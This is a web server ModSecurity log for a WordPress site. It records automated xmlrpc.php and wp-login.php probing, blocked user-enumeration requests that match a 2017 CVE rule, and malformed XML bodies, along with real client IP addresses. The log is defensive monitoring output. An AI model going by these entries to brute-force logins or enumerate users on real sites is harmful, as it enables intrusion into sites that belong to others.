[Fri Apr 17 12:52:25.879496 2026] [:error] [pid 9263:tid 9276] [client 195.201.203.147:49766] [client 195.201.203.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.203.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeG8iRP68VyHNvj1e555zQAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 12:52:28.851965 2026] [:error] [pid 9263:tid 9281] [client 195.201.203.147:49766] [client 195.201.203.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.203.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeG8jBP68VyHNvj1e5551QAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 12:52:30.288809 2026] [:error] [pid 9151:tid 9179] [client 185.199.223.27:38756] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG8jshTVuRPkua22vQMfgAAABI"]
[Fri Apr 17 12:52:31.927307 2026] [:error] [pid 9263:tid 9284] [client 195.201.203.147:49766] [client 195.201.203.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.203.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeG8jxP68VyHNvj1e5552wAAANM"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 12:53:11.895442 2026] [:error] [pid 34273:tid 34293] [client 79.116.52.1:49114] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.116.52.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG8t2uQDW686mK3dgG1VQAAAZI"]
[Fri Apr 17 12:57:03.714030 2026] [:error] [pid 9263:tid 9280] [client 159.203.177.184:35160] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG9nxP68VyHNvj1e5568wAAAM8"]
[Fri Apr 17 13:01:29.781286 2026] [:error] [pid 9263:tid 9281] [client 82.223.33.117:46396] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG-qRP68VyHNvj1e558vwAAANA"]
[Fri Apr 17 13:01:42.467169 2026] [:error] [pid 9263:tid 9274] [client 40.77.105.187:25536] [client 40.77.105.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 40.77.105.187, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG-thP68VyHNvj1e5589QAAAMk"]
[Fri Apr 17 13:07:45.073057 2026] [:error] [pid 9263:tid 9270] [client 109.172.115.12:59780] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHAIRP68VyHNvj1e55_jgAAAMU"]
[Fri Apr 17 13:07:58.213868 2026] [:error] [pid 61523:tid 61554] [client 82.223.24.195:36644] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHALsOaH-Pgc7WEf4MtxQAAAcw"]
[Fri Apr 17 13:08:13.175082 2026] [:error] [pid 9152:tid 9208] [client 185.199.223.39:40530] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHAPZJYca8I3TNCwIfsQQAAAFI"]
[Fri Apr 17 13:08:18.386954 2026] [:error] [pid 9152:tid 9207] [client 45.76.129.195:46684] [client 45.76.129.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.76.129.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHAQpJYca8I3TNCwIfsTQAAAFE"]
[Fri Apr 17 13:08:18.388420 2026] [:error] [pid 9152:tid 9207] [client 45.76.129.195:46684] [client 45.76.129.195] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHAQpJYca8I3TNCwIfsTQAAAFE"]
[Fri Apr 17 13:08:18.389506 2026] [:error] [pid 9152:tid 9207] [client 45.76.129.195:46684] [client 45.76.129.195] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHAQpJYca8I3TNCwIfsTQAAAFE"]
[Fri Apr 17 13:15:10.710153 2026] [:error] [pid 9153:tid 9239] [client 162.19.25.160:37608] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHB3uMHGxkTZX3c45fGcAAAAJU"]
[Fri Apr 17 13:17:10.576583 2026] [:error] [pid 51878:tid 51893] [client 23.105.193.86:33636] [client 23.105.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.105.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHCVknQhUtMbw9EsgYM2QAAAQ0"]
[Fri Apr 17 13:19:12.093607 2026] [:error] [pid 51878:tid 51892] [client 173.249.51.70:46150] [client 173.249.51.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.51.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHC0EnQhUtMbw9EsgYNHwAAAQw"]
[Fri Apr 17 13:20:06.899166 2026] [:error] [pid 61523:tid 61557] [client 62.169.19.61:32844] [client 62.169.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHDBsOaH-Pgc7WEf4Mw3QAAAc8"]
[Fri Apr 17 13:20:08.292302 2026] [:error] [pid 9152:tid 9196] [client 147.182.174.7:51942] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHDCJJYca8I3TNCwIfuGgAAAEY"]
[Fri Apr 17 13:20:32.682664 2026] [:error] [pid 51878:tid 51899] [client 69.57.172.96:52320] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHDIEnQhUtMbw9EsgYNSwAAARM"]
[Fri Apr 17 13:21:02.817669 2026] [:error] [pid 9152:tid 9205] [client 85.128.143.124:35806] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHDPpJYca8I3TNCwIfuRwAAAE8"]
[Fri Apr 17 13:23:03.775177 2026] [:error] [pid 9263:tid 9278] [client 137.184.91.139:51738] [client 137.184.91.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.91.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHDtxP68VyHNvj1e56FEAAAAM0"]
[Fri Apr 17 13:25:43.869876 2026] [:error] [pid 9152:tid 9196] [client 52.7.119.212:42456] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHEV5JYca8I3TNCwIfu2AAAAEY"]
[Fri Apr 17 13:27:15.352909 2026] [:error] [pid 61523:tid 61557] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHEs8OaH-Pgc7WEf4Mx-wAAAc8"]
[Fri Apr 17 13:27:45.185821 2026] [:error] [pid 61523:tid 61555] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeHE0cOaH-Pgc7WEf4MyMgAAAc0"]
[Fri Apr 17 13:27:47.799387 2026] [:error] [pid 61523:tid 61559] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aeHE08OaH-Pgc7WEf4MyNgAAAdE"]
[Fri Apr 17 13:27:57.047136 2026] [:error] [pid 61523:tid 61552] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE3cOaH-Pgc7WEf4MyRAAAAco"]
[Fri Apr 17 13:27:58.009701 2026] [:error] [pid 61523:tid 61556] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE3sOaH-Pgc7WEf4MyRgAAAc4"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 13:27:58.981946 2026] [:error] [pid 61523:tid 61566] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE3sOaH-Pgc7WEf4MySAAAAdg"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 13:27:59.963373 2026] [:error] [pid 61523:tid 61554] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE38OaH-Pgc7WEf4MySQAAAcw"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 13:28:00.949145 2026] [:error] [pid 61523:tid 61547] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE4MOaH-Pgc7WEf4MySgAAAcU"]
[Fri Apr 17 13:28:01.937740 2026] [:error] [pid 61523:tid 61548] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE4cOaH-Pgc7WEf4MySwAAAcY"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 13:28:02.888680 2026] [:error] [pid 61523:tid 61551] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE4sOaH-Pgc7WEf4MyTAAAAck"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 13:28:03.882458 2026] [:error] [pid 61523:tid 61563] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE48OaH-Pgc7WEf4MyTQAAAdU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 13:28:04.839458 2026] [:error] [pid 61523:tid 61544] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE5MOaH-Pgc7WEf4MyTgAAAcI"]
[Fri Apr 17 13:28:05.846210 2026] [:error] [pid 61523:tid 61550] [client 62.60.130.224:52910] [client 62.60.130.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeHE5cOaH-Pgc7WEf4MyTwAAAcg"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Apr 17 13:28:33.365711 2026] [:error] [pid 9263:tid 9272] [client 82.154.116.112:37464] [client 82.154.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.154.116.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHFARP68VyHNvj1e56HxgAAAMc"]
[Fri Apr 17 13:29:53.255681 2026] [:error] [pid 9263:tid 9269] [client 164.152.53.133:34218] [client 164.152.53.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.152.53.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHFURP68VyHNvj1e56H_gAAAMQ"]
[Fri Apr 17 13:31:15.967615 2026] [:error] [pid 61523:tid 61552] [client 82.64.81.82:36182] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHFo8OaH-Pgc7WEf4MzEQAAAco"]
[Fri Apr 17 13:31:19.682325 2026] [:error] [pid 34273:tid 34279] [client 40.77.105.187:25536] [client 40.77.105.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 40.77.105.187, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHFp2uQDW686mK3dgG6HAAAAYQ"]
[Fri Apr 17 13:32:17.417402 2026] [:error] [pid 9152:tid 9210] [client 212.47.74.48:55582] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHF4ZJYca8I3TNCwIfwLAAAAFQ"]
[Fri Apr 17 13:32:29.980591 2026] [:error] [pid 9263:tid 9273] [client 164.132.207.73:59598] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHF7RP68VyHNvj1e56IuAAAAMg"]
[Fri Apr 17 13:34:01.745085 2026] [:error] [pid 51878:tid 51893] [client 85.128.143.134:36816] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHGSUnQhUtMbw9EsgYPrgAAAQ0"]
[Fri Apr 17 13:36:02.177128 2026] [:error] [pid 9263:tid 9266] [client 82.223.165.55:60098] [client 82.223.165.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.165.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHGwhP68VyHNvj1e56KawAAAME"]
[Fri Apr 17 13:36:31.507945 2026] [:error] [pid 9152:tid 9206] [client 152.42.226.162:50010] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHG35JYca8I3TNCwIfxEAAAAFA"]
[Fri Apr 17 13:36:31.509645 2026] [:error] [pid 9152:tid 9206] [client 152.42.226.162:50010] [client 152.42.226.162] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHG35JYca8I3TNCwIfxEAAAAFA"]
[Fri Apr 17 13:36:31.510754 2026] [:error] [pid 9152:tid 9206] [client 152.42.226.162:50010] [client 152.42.226.162] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHG35JYca8I3TNCwIfxEAAAAFA"]
[Fri Apr 17 13:36:57.588088 2026] [:error] [pid 9263:tid 9286] [client 144.91.86.124:54514] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHG-RP68VyHNvj1e56LDwAAANU"]
[Fri Apr 17 13:37:47.586908 2026] [:error] [pid 51878:tid 51883] [client 128.199.223.38:54994] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHHK0nQhUtMbw9EsgYQOAAAAQM"]
[Fri Apr 17 13:40:54.073567 2026] [:error] [pid 61523:tid 61558] [client 167.99.182.49:40230] [client 167.99.182.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.182.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHH5sOaH-Pgc7WEf4M2HwAAAdA"]
[Fri Apr 17 13:44:51.678656 2026] [:error] [pid 9152:tid 9205] [client 54.37.239.214:56986] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHI05JYca8I3TNCwIfy8QAAAE8"]
[Fri Apr 17 13:47:37.129093 2026] [:error] [pid 9152:tid 9199] [client 82.214.112.168:44918] [client 82.214.112.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.214.112.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHJeZJYca8I3TNCwIfz_QAAAEk"]
[Fri Apr 17 13:51:57.839768 2026] [:error] [pid 9153:tid 9222] [client 147.182.250.143:43792] [client 147.182.250.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.250.143, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHKfeMHGxkTZX3c45fKOwAAAIQ"]
[Fri Apr 17 13:53:02.406653 2026] [:error] [pid 9263:tid 9286] [client 167.99.153.99:60652] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHKvhP68VyHNvj1e56R2wAAANU"]
[Fri Apr 17 13:55:41.875022 2026] [:error] [pid 9263:tid 9273] [client 45.82.122.124:16336] [client 45.82.122.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.82.122.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHLXRP68VyHNvj1e56TKgAAAMg"]
[Fri Apr 17 13:56:05.175510 2026] [:error] [pid 51878:tid 51889] [client 213.165.69.184:43272] [client 213.165.69.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.69.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHLdUnQhUtMbw9EsgYUXQAAAQk"]
